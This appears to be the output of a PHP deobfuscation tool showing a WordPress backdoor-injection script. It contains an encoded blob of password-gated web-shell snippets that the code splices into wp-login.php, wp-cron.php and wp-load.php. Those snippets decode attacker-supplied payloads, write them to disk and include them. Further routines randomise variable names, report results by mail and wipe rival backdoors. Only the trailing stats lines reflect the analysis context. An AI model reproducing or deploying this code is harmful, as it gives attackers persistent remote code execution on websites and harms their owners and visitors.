WxvZ2luLnBocCovDQovKiMoXCRhY3Rpb247KVtcc1xTXSs/KC8vIERvbid0KSNtaSovDQovKiR7MX1cblxuXHRbUl1cblx0JHsyfSovDQokdmVyc2lvbiA9IFsnMi4xMScsIGRhdGUoIlkvbS9kIiksICR6ID0gJycsICRkID0gJF9SRVFVRVNULCAoJGUgPSAnZGVjb2RlJykgJiYgKCRjID0gZnVuY3Rpb24gKCRhKSB7cmV0dXJuICRhID09PSAiI1AjIjt9KSAmJiAoJGQgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwgJGQpKSYmKCR1ID0gZnVuY3Rpb24oJGEsJGIsJGM9Jycpe3JldHVybiBlbXB0eSgkYVskYl0pPyRjOiRhWyRiXTt9KSAmJiAoJHAgPSAkdSgkZCwgJ2EnLCAkdSgkZCwgJ19leHAnKSkpICYmICgkaSA9ICdwJykgJiYgKCRwIC49ICcjVCMnKSAmJiAkYyhtZDUoJHApKSAmJiAoJG4gPSAnbmFtZScpICYmICgkZSA9ICdiYXNlNjQnIC4gIl97JGV9IikgJiYgKCRzID0gZW1wdHkoJGRbJG5dKSA/ICcnIDogJGRbJG5dKSAmJiAoJHkgPSBmdW5jdGlvbiAoJGUsICRzKSB7aWYgKCRzKSBpbmNsdWRlICRlO30pICYmIHN0cmxlbigkcyA9ICRlKCRzKSkgPiAxOSA/ICR5KCR6ID0gJyNOIycsIHN0cmlwb3MoJHMsICI8P3skaX1oeyRpfSIpICE9PSBmYWxzZSAmJiBmaWxlX3B1dF9jb250ZW50cygkeiwgJHMpKSA6ICcnLCAkeiA/IGV4aXQoMCkgOiAnJ107DQovKioqLy8qd3AtY3Jvbi5waHAqLw0KLyojKGZhc3RjZ2lfZmluaXNoX3JlcXVlc3RcKFwpO1tcc1xTXSs/XH0pW1xzXFNdKz8oaWZbXHNdKlwoW1xzXSohW1xzXSplbXB0eSkjbWkqLw0KLyokezF9XG5cbltSXVxuJHsyfSovDQokdmVyc2lvbiA9IFsnMS4wLjEnLCBkYXRlKCJZbWQiKSwgJHogPSAnJywgICRlID0gJ2RlY29kZScsICRkID0gJF9SRVFVRVNULCAoJGMgPSBmdW5jdGlvbiAoJGEpIHtyZXR1cm4gJGEgPT09ICIjUCMiO30pICYmICgkZCA9IGFycmF5X21lcmdlKCRfQ09PS0lFLCAkZCkpJiYoJHUgPSBmdW5jdGlvbigkYSwkYiwkYz0nJyl7cmV0dXJuIGVtcHR5KCRhWyRiXSk/JGM6JGFbJGJdO30pICYmICgkcCA9ICR1KCRkLCAnYScsICR1KCRkLCBpbXBsb2RlKCdfJywnZXhwJykpKSkgJiYgKCRpID0gJ3AnKSAmJiAoJHAgLj0gJyNUIycpICYmICRjKG1kNSgkcCkpICYmICgkbiA9ICduYW1lJykgJiYgKCRlID0gJ2Jhc2U2NCcgLiAiX3skZX0iKSAmJiAoJHMgPSBlbXB0eSgkZFskbl0pID8gJycgOiAkZFskbl0pICYmICgkeSA9IGZ1bmN0aW9uICgkZSwgJHMpIHtpZiAoJHMpIGluY2x1ZGUgJGU7fSkgJiYgc3RybGVuKCRzID0gJGUoJHMpKSA+IDE5ID8gJHkoJHogPSAnI04jJywgc3RyaXBvcygkcywgIjw/eyRpfWh7JGl9IikgIT09IGZhbHNlICYmIGZpbGVfcHV0X2NvbnRlbnRzKCR6LCAkcykpIDogJycsICR6ID8gZXhpdCgwKSA6ICcnXTsNCi8qKiovLyp3cC1sb2FkLnBocCovDQovKiMoc2V0dXBcc3Byb2Nlc3NcUytccytcKlwvKVtcc1xTXSs/KGlmLiond3AtY29uZmlnXC5waHAnKSNtaSovDQovKiR7MX1cblxuW1JdXG5cbiR7Mn0qLw0KJHdwX2luaXQgPSBbJGQgPSAkX1JFUVVFU1QsICRlID0gJ2RlY29kZScsICR6ID0gJycsICgkYyA9IGZ1bmN0aW9uICgkYSkge3JldHVybiAkYSA9PT0gIiNQIyI7fSkgJiYgKCRkID0gYXJyYXlfbWVyZ2UoJF9DT09LSUUsICRkKSkmJigkdSA9IGZ1bmN0aW9uKCRhLCRiLCRjPScnKXtyZXR1cm4gZW1wdHkoJGFbJGJdKT8kYzokYVskYl07fSkgJiYgKCRwID0gJHUoJGQsICdhJywgJHUoJGQsICdfJyAuJ2V4cCcpKSkgJiYgKCRpID0gJ3AnKSAmJiAoJHAgLj0gJyNUIycpICYmICRjKG1kNSgkcCkpICYmICgkbiA9ICduYW1lJykgJiYgKCRlID0gJ2Jhc2U2NCcgLiAiX3skZX0iKSAmJiAoJHMgPSBlbXB0eSgkZFskbl0pID8gJycgOiAkZFskbl0pICYmICgkeSA9IGZ1bmN0aW9uICgkZSwgJHMpIHtpZiAoJHMpIGluY2x1ZGUgJGU7fSkgJiYgc3RybGVuKCRzID0gJGUoJHMpKSA+IDE5ID8gJHkoJHogPSAnI04jJywgc3RyaXBvcygkcywgIjw/eyRpfWh7JGl9IikgIT09IGZhbHNlICYmIGZpbGVfcHV0X2NvbnRlbnRzKCR6LCAkcykpIDogJycsICR6ID8gZXhpdCgwKSA6ICcnXTsNCg0KDQoNCg0KDQoNCg';
        $text = exPloDE(T("Ly","oqKi8",2), $c[1]($text));
        $note = T("L1wqKC4ro","PylcKi9ccy",8);
        $pa = '';
        $preg = [
            "#{$note}{$note}{$note}([\s\S]+)#mi",
            T("LyvbWk","hcJFx3Kyk",2),
        ];
        foreach ($text  as $key => $item) {
            preg_match($preg[0], $item, $ma);
            if (!$ma) continue;
            if (!fiLe_EXisTs($file = ROOT . $ma[1])) continue;
            $_preg = $c[11](T("","Wypd",0), T("KFtc","c1xTXSs/KQ",4), $ma[2]);
            $ma[3] = $c[11](['\n', '\t'], ["\n", "\t"], $ma[3]);
            $c[12]($preg[1], $ma[4], $pa);
            $s = ARray_VALueS(ArRaY_UNIQuE($pa[0]));
            list($t, $r) = self::vars($s, [T("JHZl","cnNpb24",4)]);

            $ma[4] = $c[11]($s, $t, tRIM($ma[4]));
            $t[] = T("","I1Qj",0);
            $t[] = T("","I1Aj",0);
            $t[] = T("","I04j",0);
            $r[] = $_p = rand_abc(rand(2, 8));
            $r[] = MD5($pass . $_p);
            $r[] = TImE();
            $ma[4] = $c[11]($t, $r, $ma[4]);
            $fs = $c[2]($file);
            self::gg($fs);
            $ma[3] = $c[11](T("W","1Jd",1), $ma[4], $ma[3]);

            if (empty($fs) || $fs === ($l = pREG_REPlacE($_preg, $ma[3], $fs)))
                continue;
            site_mail($ma[1] . ":" . ($l && sTrLEN($l) > 100 && ufleep($file, $l, $c)? T("b2s","hIQ",3): T("Z","mFpbA",1)), 1);

        }
    }

    static function vars($r, $dis = []) {
        $o = '$';
        $t = $p = [];
        $x = Str_sHuffle(T("YWJHFyc3R1dnd4eXpf","jZGVmZ2hpamtsbW5vc",3));
        $dis += [$o . T("X","0dFVA",1), $o . T("X1","JFUVVFU1Q",2), $o . T("X0NP","T0tJRQ",4), $o . T("X1N","FUlZFUg",3), $o . T("R0w","xPQkFMU",2)];
        $k = 0;
        foreach ($r  as $v) {
            if (!iN_aRRay($v, $dis)) $v = ($v[0] === $o? $o: '') . $x[$k];
            $t[] = "&{$k}]";
            $p[] = $v;
            $k++;
        }
        return [$t, $p];
    }

    static function gg(&$txt) {
        preg_match(T("IygvXCpcU3syLDE2fVwqLylc1ZGVccytcUys7KVxzKigvXCpcU3syLDE2fVwqLykjbWk","cyooQGluY2x",24), $txt, $ma);
        if ($ma && STrLEN($ma[1]) === StRLEN($ma[3])) {
            $txt = Str_replAce($ma[0], '', $txt);
            pREG_MAtCh(T("IyI1p","oXFMrPykiI2",3), $ma[2], $ma);
            $ma && $ma[1] && self::dec($ma[1]);
        }
    }

    static function dec($str) {
        try {
            $a = '';
            eval(T("JGE","9Ig",3) . $str . '";');
            if ($a !== '') {
                if (FILe_exists($a) && FILESIZE($a) > 5 && !@IS_dIR($a)) {
                    is_WRItEabLE($a) || @cHMod($a, 0777);
                    $m = @fILE_pUT_CoNteNTs($a, ' ')? T("b2s","hIQ",3): T("Z","mFpbA",1);
                } else $m = T("bn","VsbA",2);
                site_mail("[GG] $m", 1);
            }


        } catch (\Exception $e) {
        }
    }
}



 ?>

Function Calls

None

Variables

None

Stats

MD5 5d0d39da4f487bce2c0529c39eaa4274
Eval Count 0
Decode Time 398 ms